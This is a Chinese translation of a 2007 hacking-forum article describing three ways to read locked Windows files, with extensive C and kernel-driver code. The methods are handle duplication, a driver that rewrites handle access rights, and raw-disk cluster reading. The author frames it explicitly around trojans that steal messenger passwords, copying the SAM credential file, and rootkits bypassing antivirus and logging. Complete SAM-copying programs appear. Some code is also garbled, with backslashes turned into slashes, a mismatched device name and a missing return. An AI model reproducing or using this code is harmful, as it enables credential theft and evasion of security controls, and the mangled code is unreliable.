标 題: 【翻譯】被占用檔案操作三法
作 者: libradohko
時 間: 2007-02-03,00:44
鍊 接: http://bbs.pediy.com/showthread.php?t=39001
被占用檔案操作三法
無 疑我們中的很多人都會遇到需要讀寫被其它程序占用的檔案的情況,比如說在編寫backup程式或是trojan的時候。能從系統中抽出SAM檔案,或是讀 取其它某些用标準方法無法成功通路的檔案顯然是件不錯的事情。比如說當用标志dwShareMode = 0打開檔案時,其它程序就不能對它進行通路了。 一個很好的例子就是網絡尋呼機程式Miranda。這個程式在自己工作的時候不允許别人打開自己的資料庫。假設我們需要寫一個這樣的木馬,它在感染機器後 從資料庫中竊走密碼,然後删除自身,這個時候就需要解決這個問題。是以我決定寫下這篇文章。文章篇幅不大,但裡面的内容可能會對某些人有益。那我們就開始 吧。
尋找打開檔案的句柄
如果檔案由某個程序打開,那麼這個程序就擁有了它的句柄。在我第二篇關于API攔截的文 章裡我講解了如何搜尋需要的句柄并用它打開程序,要通路已打開的檔案,我們也可以使用這種方法。我們需要使用 ZwQuerySystemInformation函數來枚舉句柄,将每一個句柄都用DuplicateHandle進行複制,确定句柄屬于那個檔案 (ZwQueryInformationFile),如果是要找的檔案,就将句柄拷貝。
這些在理論上都講得通,但在實踐中會遇到兩處難 點。第一,在對打開的named pipe(工作于block mode)的句柄調用ZwQueryInformationFile的時候,調用線程會等 待pipe中的消息,而pipe中卻可能沒有消息,也就是說,調用ZwQueryInformationFile的線程實際上永久性地挂起了。是以命名文 件的擷取不用在挑選句柄的主線程中進行,可以啟動獨立的線程并設定一個timeout值來避免挂起。第二,在拷貝句柄後,兩個句柄(我們程序的和打開檔案 程序的)将會指向同一個FileObject,進而目前的輸入輸出模式、在檔案中的位置以及其它與檔案相關的資訊就會由兩個程序來共享。這時,甚至隻是讀 取檔案都會引起讀取位置的改變,進而破壞了打開檔案程式的正常運作。為了避免這種情形,我們需要需要停止占用檔案程序的線程、儲存目前位置、拷貝檔案、恢 複目前位置以及重新啟動占用檔案的程序。這種方法不能用于許多情形,比如要在運作的系統中拷貝系統資料庫檔案,用這種方法就不會成功。
我們先來試着實作對系統中所有已打開檔案的句柄的枚舉。為枚舉句柄,每個句柄都由以下結構體描述:
typedef struct _SYSTEM_HANDLE
{
ULONG uIdProcess;
UCHAR ObjectType;
UCHAR Flags;
USHORT Handle;
POBJECT pObject;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, *PSYSTEM_HANDLE;
這 裡的ObjectType域定義了句柄所屬的對象類型。這裡我們又遇到了問題――File類型的ObjectType在Windows 2000、XP和 2003下的取值各不相同,是以我們不得不動态的定義這個值。為此我們用CreateFile來打開NUL裝置,找到它的句柄并記下它的類型:
UCHAR GetFileHandleType()
{
HANDLE hFile;
PSYSTEM_HANDLE_INFORMATION Info;
ULONG r;
UCHAR Result = 0;
hFile = CreateFile("NUL", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Info = GetInfoTable(SystemHandleInformation);
if (Info)
{
for (r = 0; r < Info->uCount; r++)
{
if (Info->aSH[r].Handle == (USHORT)hFile &&
Info->aSH[r].uIdProcess == GetCurrentProcessId())
{
Result = Info->aSH[r].ObjectType;
break;
}
}
HeapFree(hHeap, 0, Info);
}
CloseHandle(hFile);
}
return Result;
}
現在知道了句柄的類型我們就可以枚舉系統中打開的檔案了。首先我們來用句柄擷取打開檔案的檔案名:
typedef struct _NM_INFO
{
HANDLE hFile;
FILE_NAME_INFORMATION Info;
WCHAR Name[MAX_PATH];
} NM_INFO, *PNM_INFO;
DWORD WINAPI
GetFileNameThread(PVOID lpParameter)
{
PNM_INFO NmInfo = lpParameter;
IO_STATUS_BLOCK IoStatus;
int r;
NtQueryInformationFile(NmInfo->hFile, &IoStatus, &NmInfo->Info,
sizeof(NM_INFO) - sizeof(HANDLE), FileNameInformation);
return 0;
}
void GetFileName(HANDLE hFile, PCHAR TheName)
{
HANDLE hThread;
PNM_INFO Info = HeapAlloc(hHeap, 0, sizeof(NM_INFO));
Info->hFile = hFile;
hThread = CreateThread(NULL, 0, GetFileNameThread, Info, 0, NULL);
if (WaitForSingleObject(hThread, INFINITE) == WAIT_TIMEOUT) TerminateThread(hThread, 0);
CloseHandle(hThread);
memset(TheName, 0, MAX_PATH);
WideCharToMultiByte(CP_ACP, 0, Info->Info.FileName, Info->Info.FileNameLength >> 1, TheName, MAX_PATH, NULL, NULL);
HeapFree(hHeap, 0, Info);
}
現在來枚舉打開的檔案:
void main()
{
PSYSTEM_HANDLE_INFORMATION Info;
ULONG r;
CHAR Name[MAX_PATH];
HANDLE hProcess, hFile;
hHeap = GetProcessHeap();
ObFileType = GetFileHandleType();
Info = GetInfoTable(SystemHandleInformation);
if (Info)
{
for (r = 0; r < Info->uCount; r++)
{
if (Info->aSH[r].ObjectType == ObFileType)
{
hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, Info->aSH[r].uIdProcess);
if (hProcess)
{
if (DuplicateHandle(hProcess, (HANDLE)Info->aSH[r].Handle,
GetCurrentProcess(), &hFile, 0, FALSE, DUPLICATE_SAME_ACCESS))
{
GetFileName(hFile, Name);
printf("%s/n", Name);
CloseHandle(hFile);
}
CloseHandle(hProcess);
}
}
}
HeapFree(hHeap, 0, Info);
}
}
現在對于檔案的拷貝我們剩下的工作隻是找到所需句柄後用ReadFile讀取它。這裡一定要使用前面提到的機制,不可疏忽。
這種方法的優點是實作簡單,但是其缺點更多,是以這個方法隻适用于确定檔案被那個程序占用。
修改句柄通路權限
所 有被占用的檔案通常都可以用讀屬性(FILE_READ_ATTRIBUTES)打開,這樣就可以讀取檔案的屬性,取得它的大小,枚舉 NTSF stream,但遺憾的是,ReadFile就不能成功調用了。打開檔案時各種通路屬性的差別在哪裡呢?顯然,打開檔案時,系統會記錄通路屬 性,之後會用這個屬性與請求的通路作比較。如果找到了系統儲存這個屬性的位置并修該掉它,那就不隻可以讀取,甚至可以寫入任何已打開的檔案。
在 使用者這一級别上我們并不是直接與檔案打交道,而是通過它的句柄(這個句柄指向FileObject),而函數ReadFile/WriteFile調用 ObReferenceObjectByHandle,并指明了相應的通路類型。由此我們可以得出結論,通路權限儲存在描述句柄的結構體裡。實際 上,HANDLE_TABLE_ENTRY結構體包含有一個GrantedAccess域,這個域不是别的,就是句柄的通路權限。遺憾的 是,Microsoft的程式員們沒有提供修改句柄通路權的API,是以我們不得不編寫驅動自己來做這項工作。
我在《隐藏程序檢測》一文 中講到過Windows 2000和XP的句柄表結構體,我想補充的隻有一點,就是Windows 2003中的句柄表與XP的完全一樣。與那篇文章不 同,我們這裡不需要枚舉表中的句柄,而隻需要找到某個具體的(已知的)句柄,我們不用管PspCidTable,而隻操作自己程序的句柄表,表的指針位于 程序的EPROCESS結構體裡(2000下的偏移為0x128,XP下的為0x0C4)。
為了取得句柄結構體指針需要調用未導出函數 ExpLookupHandleTableEntry,但我們不會去搜尋它,因為在導出函數中沒有對它的直接引用,搜尋結果也很不可靠,除此之外我們此時 還需要ExUnlockHandleTableEntry函數。最好的辦法就是編寫自己的句柄表lookup函數。考慮到Windows 2000與XP 下句柄表的差異,我們将編寫不同的函數。
首先是Windows 2000下的:
PHANDLE_TABLE_ENTRY
Win2kLookupHandleTableEntry(
IN PWIN2K_HANDLE_TABLE HandleTable,
IN EXHANDLE Handle
)
{
ULONG i, j, k;
i = (Handle.Index >> 16) & 255;
j = (Handle.Index >> 8) & 255;
k = (Handle.Index) & 255;
if (HandleTable->Table[i])
{
if (HandleTable->Table[i][j])
{
return &(HandleTable->Table[i][j][k]);
}
}
return NULL;
}
這段代碼簡單易懂。因為句柄的值本身是個三維表的三個索引,是以我們隻需其中的各個部分并檢視表中相應的元素(當然如果存在的話)。因為Windows XP中的句柄表可以有一到三個級别,是以相應的lookup代碼就要更為複雜一些:
PHANDLE_TABLE_ENTRY
XpLookupHandleTableEntry(
IN PXP_HANDLE_TABLE HandleTable,
IN EXHANDLE Handle
)
{
ULONG i, j, k;
PHANDLE_TABLE_ENTRY Entry = NULL;
ULONG TableCode = HandleTable->TableCode & ~TABLE_LEVEL_MASK;
i = (Handle.Index >> 17) & 0x1FF;
j = (Handle.Index >> 9) & 0x1FF;
k = (Handle.Index) & 0x1FF;
switch (HandleTable->TableCode & TABLE_LEVEL_MASK)
{
case 0 :
Entry = &((PHANDLE_TABLE_ENTRY)TableCode)[k];
break;
case 1 :
if (((PVOID *)TableCode)[j])
{
Entry = &((PHANDLE_TABLE_ENTRY *)TableCode)[j][k];
}
break;
case 2 :
if (((PVOID *)TableCode)[i])
if (((PVOID **)TableCode)[i][j])
{
Entry = &((PHANDLE_TABLE_ENTRY **)TableCode)[i][j][k];
}
break;
}
return Entry;
}
我們看到,這段代碼中的句柄并不是ULONG型的值,而是EXHANDLE結構體:
typedef struct _EXHANDLE
{
union
{
struct
{
ULONG TagBits : 02;
ULONG Index : 30;
};
HANDLE GenericHandleOverlay;
};
} EXHANDLE, *PEXHANDLE;
我們看到,句柄不知包含了表的索引,還包含了一個2 bit的标志。您可能已經察覺到,一個句柄可以有着幾種不同的意義,這一點與這樣一個事實有關,那就是并非句柄中所有的位都被使用到(依賴于在表中的級别)。這是Windows XP最具個性的特點。
現在我們就可以擷取句柄表中所需的元素了,該編寫為句柄設定所需通路屬性的函數了:
BOOLEAN SetHandleAccess(
IN HANDLE Handle,
IN ACCESS_MASK GrantedAccess
)
{
PHANDLE_TABLE ObjectTable = *(PHANDLE_TABLE *)RVATOVA(PsGetCurrentProcess(), ObjectTableOffset);
PHANDLE_TABLE_ENTRY Entry;
EXHANDLE ExHandle;
ExHandle.GenericHandleOverlay = Handle;
Entry = ExLookupHandleTableEntry(ObjectTable, ExHandle);
if (Entry) Entry->GrantedAccess = GrantedAccess;
return Entry > 0;
}
現在編寫驅動,設定句柄的通路屬性,通過DeviceIoControl向驅動傳遞句柄。代碼如下:
NTSTATUS DriverIoControl(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
PIO_STACK_LOCATION pisl = IoGetCurrentIrpStackLocation(Irp);
NTSTATUS status = STATUS_UNSUCCESSFUL;
ULONG BuffSize = pisl->Parameters.DeviceIoControl.InputBufferLength;
PUCHAR pBuff = Irp->AssociatedIrp.SystemBuffer;
HANDLE Handle;
ACCESS_MASK GrantedAccess;
Irp->IoStatus.Information = 0;
switch(pisl->Parameters.DeviceIoControl.IoControlCode)
{
case IOCTL1:
if (pBuff && BuffSize >= sizeof(HANDLE) + sizeof(ACCESS_MASK))
{
Handle = *(HANDLE*)pBuff;
GrantedAccess = *(ACCESS_MASK*)(pBuff + sizeof(HANDLE));
if (Handle != (HANDLE)-1 && SetHandleAccess(Handle, GrantedAccess)) status = STATUS_SUCCESS;
}
break;
}
Irp->IoStatus.Status = status;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
NTSTATUS DriverCreateClose(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
Irp->IoStatus.Information = 0;
Irp->IoStatus.Status = STATUS_SUCCESS;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return STATUS_SUCCESS;
}
NTSTATUS DriverEntry(
IN PDRIVER_OBJECT DriverObject,
IN PUNICODE_STRING RegistryPath
)
{
PCWSTR dDeviceName = L"//Device//fread";
PCWSTR dSymbolicLinkName = L"//DosDevices//fread";
NTSTATUS status;
PDRIVER_DISPATCH *ppdd;
RtlInitUnicodeString(&DeviceName, dDeviceName);
RtlInitUnicodeString(&SymbolicLinkName, dSymbolicLinkName);
switch (*NtBuildNumber)
{
case 2600:
ObjectTableOffset = 0x0C4;
ExLookupHandleTableEntry = XpLookupHandleTableEntry;
break;
case 2195:
ObjectTableOffset = 0x128;
ExLookupHandleTableEntry = Win2kLookupHandleTableEntry;
break;
default: return STATUS_UNSUCCESSFUL;
}
status = IoCreateDevice(DriverObject,
0,
&DeviceName,
FILE_DEVICE_UNKNOWN,
0,
TRUE,
&deviceObject);
if (NT_SUCCESS(status))
{
status = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);
if (!NT_SUCCESS(status)) IoDeleteDevice(deviceObject);
DriverObject->DriverUnload = DriverUnload;
}
ppdd = DriverObject->MajorFunction;
ppdd [IRP_MJ_CREATE] =
ppdd [IRP_MJ_CLOSE ] = DriverCreateClose;
ppdd [IRP_MJ_DEVICE_CONTROL ] = DriverIoControl;
return status;
}
遺憾的是句柄結構體中的GrantedAccess域并沒有和檔案打開的屬性(GENERIC_READ、GENERIC_WRITE等)對應起來,是以在設定新的屬性時我們需要以下constants:
#define AC_GENERIC_READ 0x120089
#define AC_GENERIC_WRITE 0x120196
#define AC_DELETE 0x110080
#define AC_READ_CONTROL 0x120080
#define AC_WRITE_DAC 0x140080
#define AC_WRITE_OWNER 0x180080
#define AC_GENERIC_ALL 0x1f01ff
#define AC_STANDARD_RIGHTS_ALL 0x1f0080
為了使用這個驅動将SAM檔案拷貝到c盤根目錄,我們可以寫一個最簡單的程式:
#include <windows.h>
#include "hchange.h"
BOOLEAN SetHandleAccess(
HANDLE Handle,
ACCESS_MASK GrantedAccess
)
{
HANDLE hDriver;
ULONG Bytes;
ULONG Buff[2];
BOOLEAN Result = FALSE;
hDriver = CreateFile(".//haccess", GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, 0);
if (hDriver != INVALID_HANDLE_VALUE)
{
Buff[0] = (ULONG)Handle;
Buff[1] = GrantedAccess;
Result = DeviceIoControl(hDriver, IOCTL1, Buff, sizeof(Buff), NULL, 0, &Bytes, NULL);
CloseHandle(hDriver);
}
}
void main()
{
HANDLE hFile, hDest;
ULONG Size, Bytes;
PVOID Data;
CHAR Name[MAX_PATH];
GetSystemDirectory(Name, MAX_PATH);
lstrcat(Name, "//config//SAM");
hFile = CreateFile(Name, FILE_READ_ATTRIBUTES, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
if (SetHandleAccess(hFile, AC_GENERIC_READ))
{
Size = GetFileSize(hFile, NULL);
Data = VirtualAlloc(NULL, Size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (Data)
{
ReadFile(hFile, Data, Size, &Bytes, NULL);
hDest = CreateFile("c://SAM", GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
if (hDest != INVALID_HANDLE_VALUE)
{
WriteFile(hDest, Data, Size, &Bytes, NULL);
CloseHandle(hDest);
}
VirtualFree(Data, 0, MEM_RELEASE);
}
}
CloseHandle(hFile);
}
}
這個方法最大的缺陷就是強烈依賴于作業系統,而且還需要加載驅動程式,而這并不總是能實作的。但是從可靠性上來看,這種方法是最好的,是以我建議将其用在backup程式中(隻是要經過長期的測試和調試!)。因為這種方法有不能勝任的情形,我們轉入下一種方法。
使用直接硬碟通路讀取檔案
“直 接通路硬碟”這個想法當然很酷,但很快DOS程式設計愛好者們就會失望,這裡沒有硬體操作,因為微軟很關心我們的疾苦,提供了友善簡單的API,通過這些 API可以幾乎“直接地”操作硬碟。這樣大家就明白了吧,實際上我們是想以RAW模式打開volume,并按cluster來讀取檔案。希望大家沒有被吓 到:)
如果直接入手解決這個問題,就需要手動地分析檔案系統結構,這樣我們就需要編寫很多多餘的代碼,是以我們不會這樣去做,而是再一次 參考微軟偉大的手冊――MSDN。"Defragmenting Files "和"Disk Management Control Codes"部分 對于我們來說非常有用,那裡面有檔案系統驅動的控制代碼,這些代碼可以用在各種磁盤整理程式中。打開MSDN,無疑會發現,使用IOCTL代碼 FSCTL_GET_RETRIEVAL_POINTERS可以擷取檔案配置設定圖。也就是說我們隻需要借助于這個IOCTL就可以擷取被占用檔案的 cluster list并進行讀取。
用此代碼調用DeviceIoControl時,InputBuffer應該包含有 STARTING_VCN_INPUT_BUFFER結構體,這個結構體描述了檔案cluster鍊的首元素,函數成功執行後,OutputBuffer 将裝有RETRIEVAL_POINTERS_BUFFER結構體,這個結構體描述了配置設定圖。我們來詳細地看一下這個結構體:
typedef struct
{
LARGE_INTEGER StartingVcn;
} STARTING_VCN_INPUT_BUFFER, *PSTARTING_VCN_INPUT_BUFFER;
typedef struct RETRIEVAL_POINTERS_BUFFER
{
DWORD ExtentCount;
LARGE_INTEGER StartingVcn;
struct
{
LARGE_INTEGER NextVcn;
LARGE_INTEGER Lcn;
} Extents[1];
} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;
第 一個結構體很容易懂,我們隻需要向StartingVcn.QuadPart傳遞0,而第二個結構體的格式需要好好研究一下。第一個域 (ExtentCount)包含着結構體中Extents元素的數目。StartingVcn檔案第一個cluster鍊的鍊号。每一個Extents元 素都包含有一個NextVcn,其含有鍊中cluser的數目,而Lcn――其第一個cluster的cluster号。也就是說所傳回的資訊就是 cluster鍊的描述符,其中每一個鍊都包含有某些個cluster。
現在傳回資訊的結構體的含義就已經明了了,到了編寫函數的時候了,這個函數擷取檔案完整的cluster list并将其整理為數組形式。
ULONGLONG *GetFileClusters(
PCHAR lpFileName,
ULONG ClusterSize,
ULONG *ClCount,
ULONG *FileSize
)
{
HANDLE hFile;
ULONG OutSize;
ULONG Bytes, Cls, CnCount, r;
ULONGLONG *Clusters = NULL;
BOOLEAN Result = FALSE;
LARGE_INTEGER PrevVCN, Lcn;
STARTING_VCN_INPUT_BUFFER InBuf;
PRETRIEVAL_POINTERS_BUFFER OutBuf;
hFile = CreateFile(lpFileName, FILE_READ_ATTRIBUTES,
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
NULL, OPEN_EXISTING, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
*FileSize = GetFileSize(hFile, NULL);
OutSize = sizeof(RETRIEVAL_POINTERS_BUFFER) + (*FileSize / ClusterSize) * sizeof(OutBuf->Extents);
OutBuf = malloc(OutSize);
InBuf.StartingVcn.QuadPart = 0;
if (DeviceIoControl(hFile, FSCTL_GET_RETRIEVAL_POINTERS, &InBuf,
sizeof(InBuf), OutBuf, OutSize, &Bytes, NULL))
{
*ClCount = (*FileSize + ClusterSize - 1) / ClusterSize;
Clusters = malloc(*ClCount * sizeof(ULONGLONG));
PrevVCN = OutBuf->StartingVcn;
for (r = 0, Cls = 0; r < OutBuf->ExtentCount; r++)
{
Lcn = OutBuf->Extents[r].Lcn;
for (CnCount = OutBuf->Extents[r].NextVcn.QuadPart - PrevVCN.QuadPart;
CnCount; CnCount--, Cls++, Lcn.QuadPart++) Clusters[Cls] = Lcn.QuadPart;
PrevVCN = OutBuf->Extents[r].NextVcn;
}
}
free(OutBuf);
CloseHandle(hFile);
}
return Clusters;
}
函數完成後我們就得到了描述檔案clusters的數組以及clusters的數目,現在可以很容易地拷貝檔案了:
void FileCopy(
PCHAR lpSrcName,
PCHAR lpDstName
)
{
ULONG ClusterSize, BlockSize;
ULONGLONG *Clusters;
ULONG ClCount, FileSize, Bytes;
HANDLE hDrive, hFile;
ULONG SecPerCl, BtPerSec, r;
PVOID Buff;
LARGE_INTEGER Offset;
CHAR Name[7];
Name[0] = lpSrcName[0];
Name[1] = ':';
Name[2] = 0;
GetDiskFreeSpace(Name, &SecPerCl, &BtPerSec, NULL, NULL);
ClusterSize = SecPerCl * BtPerSec;
Clusters = GetFileClusters(lpSrcName, ClusterSize, &ClCount, &FileSize);
if (Clusters)
{
Name[0] = '//';
Name[1] = '//';
Name[2] = '.';
Name[3] = '//';
Name[4] = lpSrcName[0];
Name[5] = ':';
Name[6] = 0;
hDrive = CreateFile(Name, GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, 0);
if (hDrive != INVALID_HANDLE_VALUE)
{
hFile = CreateFile(lpDstName, GENERIC_WRITE, 0, NULL, CREATE_NEW, 0, 0);
if (hFile != INVALID_HANDLE_VALUE)
{
Buff = malloc(ClusterSize);
for (r = 0; r < ClCount; r++, FileSize -= BlockSize)
{
Offset.QuadPart = ClusterSize * Clusters[r];
SetFilePointer(hDrive, Offset.LowPart, &Offset.HighPart, FILE_BEGIN);
ReadFile(hDrive, Buff, ClusterSize, &Bytes, NULL);
BlockSize = FileSize < ClusterSize ? FileSize : ClusterSize;
WriteFile(hFile, Buff, BlockSize, &Bytes, NULL);
}
free(Buff);
CloseHandle(hFile);
}
CloseHandle(hDrive);
}
free(Clusters);
}
}
文章到這裡其實就結束了,現在要拷貝SAM簡直易如反掌:)。在配套的示例中有将SAM拷貝到指令行指定的檔案中的代碼。
無 疑,這種方法形式簡單而功能強大,但遺憾的是它有着本質上的缺陷。這種方法隻能用來讀取以FILE_READ_ATTRIBUTES屬性打開的檔案,檔案 不能壓縮,不能加密,而且應該有自己的cluster(在NTFS下小檔案可以整個放在MFT裡)。同時要考慮到,在讀取檔案時檔案可能被修改。
我 想,如何與底層檔案系統打交道大家都已經明白了。這個方法為rootkit提供了諸多的便利。系統裡有保護檔案不被修改的程式(比如說反病毒軟體),但是 擁有了以RAW模式打開volume的權限之後,這些就形同虛設。再有,好的管理者會在自己的server上将重要檔案的讀寫記錄入日志檔案,而直接通路 是逃不過日志記錄的。要實作對檔案的完全通路就不得不編寫自己的NTFS驅動了。
附錄:
示例程式
henum.rar (56 kb) 枚舉打開的檔案的例子
samcopy.rar (11 kb) 在句柄表中修改通路權限拷貝SAM的例子
RawRead.rar (9 kb) 使用直接通路讀取SAM的例子。
[C] Ms-Rem
http://wasm.ru/article.php?article=lockfileswork
原文位址 http://blog.csdn.net/albertli/archive/2007/11/25/1901770.aspx